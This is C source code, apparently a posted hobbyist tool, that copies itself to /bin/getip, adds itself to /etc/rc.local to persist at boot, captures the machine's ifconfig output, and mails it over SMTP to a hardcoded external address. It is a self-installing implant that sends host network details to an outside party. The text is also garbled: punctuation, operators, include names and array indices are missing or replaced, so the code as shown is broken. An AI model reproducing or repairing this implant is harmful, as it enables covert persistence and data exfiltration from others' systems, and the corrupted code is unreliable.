code by sink ([email protected])
#include //include socket
#include
#include //include fopen(),fread().fwrite(),fclose()
#include //include system()
#include //include gethostbyname()
#define PORT 25 //smtp port
#define SIZE 1024
//define mail commands
#define EHLO 0
#define AUTH 1
#define USER 2
#define PASS 3
#define MAIL 4
#define RCPT 5
#define DATA 6
#define CONT 7
#define QUIT 8
void base64enc(const char *,char *).
int main(int argc,char *argv[])
{
int sockfd.
struct sockaddr_in server_addr.
struct hostent *server_ip.
int numbytes=0,i=0.
char username[512]="".//mail username
char passwd[512]="".//mail passwd
//buff store data by recv(),
//ip[SIZE] store data by fread() from ip_files
(use "ifconfig >tmp.ip",het ip_files)
char buff[512]="",tmp[4]="",ip[SIZE]="".
int ret=0.//function return
FILE *f_open,*f_write.
char *msg[9]={""}.
char *n_return[9]={""}. //return number
msg[EHLO]="ehlo smtp.163.com\n".
msg[AUTH]="auth login\n".
base64enc("your name",username).
strcat(username,"\n").
msg[USER]=username.
base64enc("your passwd",passwd).
strcat(passwd,"\n").
msg[PASS]=passwd.
msg[MAIL]="mail from:[email protected]\n".
msg[RCPT]="rcpt to:[email protected]\n".
msg[DATA]="data\n".
msg[QUIT]="quit\n".
n_return[EHLO]="250".
n_return[AUTH]="334".
n_return[USER]="334".
n_return[PASS]="235".
n_return[MAIL]="250".
n_return[RCPT]="250".
n_return[DATA]="354".
n_return[CONT]="250".
copy self to /bin/getip
if(strcmp(argv[0],"/bin/getip")!=0)// if file /bin/getip
is not existed,copy to it
{
if((f_open=fopen(argv[0],"rb")) ==NULL)//open self
{
perror("fopen argv[0] error").
return(-1).
}
if((f_write=fopen("/bin/getip","wb")) ==NULL)//open the
file which we will write to
{
perror("fopen /bin/getip error").
return(-1).
}
while(fread(tmp,sizeof(tmp),1,f_open)!=0)//read from currect file
{
if(fwrite(tmp,sizeof(tmp),1,f_write) ==0)//write to /bin/getip
{
perror("fwrite error").
return(-1).
}
}
fclose(f_open).//close all files we have opened
fclose(f_write).
//chmod 755 /bin/getip
if((ret=system("chmod 755 /bin/getip"))==-1)
{
perror("system error").
return(-1).
}
//call system("echo /bin/getip >>/etc/rc.local")
if((ret=system("echo /bin/getip &. >>/etc/rc.local"))==-1)
{
perror("system error").
return(-1).
}
}
/*---------------------------
get ip,use system() call ifconfig>tmp.ip
---------------------------*/
if((ret=system("ifconfig >/tmp/tmp.ip"))==-1)
{
perror("system error").
return(-1).
}
/*-----------------------------
read from tmp.ip,add it to msg[CONT]
-----------------------------*/
if((f_open=fopen("/tmp/tmp.ip","r")) ==NULL)//open /tmp/tmp.ip
{
perror("fopen error").
return(-1).
}
i=0.
while((fread(&.ip,1,1,f_open)) !=-1)//read from tmp.ip
{
i .
if(i>SIZE)//if file is large than SIZE,only read SIZE bytes
break.
}
strncat(ip,"\n.\n",3).//cat "\n.\n" to data
msg[CONT]=ip.
fclose(f_open).
/*-----------------------------
rm tmp file
------------------------------*/
if((ret=system("rm -rf /tmp/tmp.ip"))==-1)
{
perror("system error").
return(-1).
}
/*------------------------------
connect server,and send command
------------------------------*/
//because the host connect to internet by dail,
//so,it is possiabe that host have not connected when it start
//then we sleep 5 miniutes,and try again until the host connect to internet
//we know the connection status by gethostbyname(),but this way is not always correct
while((server_ip=gethostbyname("smtp.163.com"))==NULL)
{
herror("gethostbyname error").
sleep(300).
}
//create a socket
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
perror("socket error").
return(-1).
}
//address information
server_addr.sin_family=AF_INET.//host byte order
server_addr.sin_port=htons(PORT).//short,network byte order
server_addr.sin_addr=*((struct in_addr *)server_ip->h_addr).//server ip
bzero(&.(server_addr.sin_zero),8).//zero the rest of struct
//connect server
if(connect(sockfd,(struct sockaddr *)&.server_addr,sizeof(struct sockaddr))==-1)
{
perror("connect error").
return(-1).
}
//if connect success,server return "220"
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error").
return(-1).
}
//clean tmp
for(i=0.i<4.i )
tmp= \0 .
strncpy(tmp,buff,3).
if(strcmp(tmp,"220")!=0)
return (-1).
//send msgs. if any step has a mistake,
the "while" will be breaked,then send "quit" to end connection
i=EHLO.
while(i {
if((numbytes=send(sockfd,msg,strlen(msg),0))==-1)
{
perror("send error").
break.
}
//sleep(1).we dont have to use it,because recv() can
choke itself until it received data
if((numbytes=recv(sockfd,buff,SIZE,0))==-1)
{
perror("recv error").
break.
}
strncpy(tmp,buff,3).
//printf("command:%s\n",msg).
//printf("return buff:%s\n",buff).
//printf("should return:%s\n",n_return).
if(strcmp(tmp,n_return)==0)
i .
else
break.
}
//send quit to end mail connection
if((numbytes=send(sockfd,msg[QUIT],strlen(msg[QUIT]),0))==-1)
{
perror("send error").
return(-1).
}
close(sockfd).
return (0).
}
/*-------------------------
base64 encode function
-------------------------*/
void base64enc(const char *instr,char *outstr)
{
char * table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /".
int instr_len=0,i=0,j=0,pad=0.
unsigned char buf1[4]="",buf2[4]="".
instr_len=strlen(instr).
pad=instr_len%3.
for(i=0.i {
if(i==instr_len-pad)
strncpy(buf1,&.instr,pad).
else
strncpy(buf1,&.instr,3).
buf2[0] = buf1[0] >> 2.
buf2[1] = (buf1[0] &. 0x03) << 4 | buf1[1] >> 4.
buf2[2] = (buf1[1] &. 0x0f) << 2 | buf1[2] >> 6.
buf2[3] = buf1[2] &. 0x3f.
for(j=0.j<4.j )
buf2[j]=table[buf2[j]].
if(i==instr_len-pad)
for(j=3.j>pad.j--)
buf2[j]= = .
strncat(outstr,buf2,4).
}
} |